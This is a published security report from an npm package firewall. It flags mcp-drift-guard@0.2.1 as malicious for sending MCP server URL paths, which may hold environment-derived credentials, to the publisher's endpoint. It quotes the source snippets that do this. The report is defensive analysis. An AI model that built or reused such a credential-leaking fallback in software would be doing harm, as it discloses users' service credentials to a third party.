---
canonical: "https://firewall.lpm.dev/npm/mcp-drift-guard"
markdown: "https://firewall.lpm.dev/npm/mcp-drift-guard/report.md"
package: "mcp-drift-guard"
report_status: "published"
title: "mcp-drift-guard@0.2.1 npm security report"
verdict: "malicious"
version: "0.2.1"
---

# mcp-drift-guard@0.2.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — A path-based credential for the configured MCP service may be disclosed to the package publisher, who could use it to access that service.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential exfiltration
- **Selected version:** 0.2.1
- **Selected version is latest:** Yes
- **Analysis source:** AI security review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The default unreachable-server fallback sends the configured URL pathname to the publisher's Observatory, and configuration values can come from environment variables. A credential embedded in that path is another service's credential reaching the publisher, which meets the credential-exfiltration blocking rule despite the fallback's legitimate purpose.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 91.0%
- **Started:** 2026-11-18T19:16:49.448Z
- **Finished:** 2026-11-18T19:18:35.340Z
- **Download time:** 503 ms
- **Static scan time:** 1253 ms
- **AI review time:** 104135 ms
- **Total time:** 105892 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** A credential embedded in a configured MCP server URL path can be sent to the package publisher's Observatory.

- **Trigger:** A user runs a CLI check, lock, or update, or runs the GitHub Action, with the default Observatory fallback enabled; the configured remote server probe must fail.

- **Impact:** A path-based credential for the configured MCP service may be disclosed to the package publisher, who could use it to access that service.

- **Evidence paths:** dist/cli.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-18T19:18:35.340Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Environment variables are expanded into MCP configuration URLs. On a failed HTTP/SSE probe, the fallback sends the URL's origin and pathname in a drift\_check request to https://drift.getvda.ai/mcp. The pathname is retained, so a token embedded there reaches the publisher's service.

- **Attack narrative:** When the default Observatory fallback is enabled and a configured HTTP/SSE MCP server cannot be reached, the package sends that server's origin and pathname to the publisher's Observatory. Environment variables are expanded into configured URLs before this check, and the path is retained. If a user puts a service credential in that path, it is disclosed to the publisher's service.

- **Rationale:** The default unreachable-server fallback sends the configured URL pathname to the publisher's Observatory, and configuration values can come from environment variables. A credential embedded in that path is another service's credential reaching the publisher, which meets the credential-exfiltration blocking rule despite the fallback's legitimate purpose.

- **Files touched:** .mcp.json, .cursor/mcp.json, .vscode/mcp.json

- **Network endpoints:** https://drift.getvda.ai/mcp

### Review decision

- **Verdict:** Malicious

- **Confidence:** 91.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** MCP server URL templates are expanded with values from the user's environment., For eligible HTTPS servers, the Observatory URL is built from the configured URL's origin and pathname, retaining any secret placed in the path., The \`drift\_check\` request passes that URL as an argument in a POST to the publisher's Observatory endpoint., By default, a failed HTTP/SSE server probe triggers the Observatory fallback when enabled.

- **Evidence against:** The fallback serves the package's advertised purpose of checking public server history when a configured server cannot be reached., The URL filter requires HTTPS and excludes private or local hostnames., The URL construction omits query strings and URL userinfo; the leak requires a credential to be embedded in the pathname.

## Affected versions and remediation

This report applies to mcp-drift-guard@0.2.1.

- Avoid installing mcp-drift-guard@0.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 4. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 7. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** dist/action.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/action.js>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```javascript
stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 2
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** dist/cli.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/cli.js>)

MCP server URL templates are expanded with values from the user's environment.

Public source snippet (untrusted):

```javascript
onst value = String(s).replace(/\$\{([A-Za-z_][A-Za-z0-9_]*)(?::-([^}]*))?\}/g, (_, name, def) => {
    if (env[name] !== void 0 && env[name] !== "") return env[name];
    if (def !== void 0) return def;
    missing.push(name);
    return "
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** dist/cli.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/cli.js>)

For eligible HTTPS servers, the Observatory URL is built from the configured URL's origin and pathname, retaining any secret placed in the path.

Public source snippet (untrusted):

```javascript
th) return null;
  try {
    const u = new URL(raw);
    if (u.protocol !== "https:" || PRIVATE.test(u.hostname)) return null;
    return u.origin + u.pathname;
  } catch {
    return null;
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** dist/cli.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/cli.js>)

The \`drift\_check\` request passes that URL as an argument in a POST to the publisher's Observatory endpoint.

Public source snippet (untrusted):

```javascript
} = {}) {
  try {
    const c = await call("drift_check", { url }, timeoutMs, env);
    if (!c.know
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** dist/cli.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/cli.js>)

The \`drift\_check\` request passes that URL as an argument in a POST to the publisher's Observatory endpoint.

Public source snippet (untrusted):

```javascript
son, text/event-stream", "user-agent": `mcp-drift-guard/${VERSION} client=${clientId(env)}` },
    body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: tool, arguments: args } }),
    signal: AbortSignal.timeout(timeoutMs)
  });
  if
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** dist/cli.js
- **Public source:** [View source](<https://unpkg.com/mcp-drift-guard@0.2.1/dist/cli.js>)

The \`drift\_check\` request passes that URL as an argument in a POST to the publisher's Observatory endpoint.

Public source snippet (untrusted):

```javascript
} };
  }
}

// src/observatory.js
var OBSERVATORY = "https://drift.getvda.ai/mcp";
var PRIVATE = /^(localhost|127\.|10\.|192\.168\.|172\.(1[6-9]|2\d|3
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 1
- **Published dependency-graph edges:** 1

### Published dependency entries
- @rss-a/sdk 0.3.0 (Dependency)

## Package metadata
- **Package:** mcp-drift-guard
- **Ecosystem:** npm
- **Version:** 0.2.1
- **License:** Apache-2.0
- **Version published:** 2026-11-18T19:12:49.791Z
- **Package first seen:** 2026-11-18T19:18:35.340Z
- **Package last seen:** 2026-11-18T19:18:35.340Z
- **Known versions:** 1
- **Latest version:** 0.2.1
- **Appeal under review:** No
- **Description:** A lockfile for the tools your MCP servers declare. Fails CI when a server's tool names, descriptions or schemas change. Cross-checks the signed MCP Drift Observatory feed over RSS-A.
- **Keywords:** mcp, model-context-protocol, security, tool-poisoning, rug-pull, lockfile, ai-agents, github-action, rssa, claude-code
- **Runtime engines:** node: \>=20
- **Artifact files:** 5
- **Artifact unpacked size:** 597,292 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/mcp-drift-guard>)
- [Repository](<https://github.com/getvda-ai/mcp-drift-guard.git>)
- [Homepage](<https://github.com/getvda-ai/mcp-drift-guard>)
- [Issues](<https://github.com/getvda-ai/mcp-drift-guard/issues>)
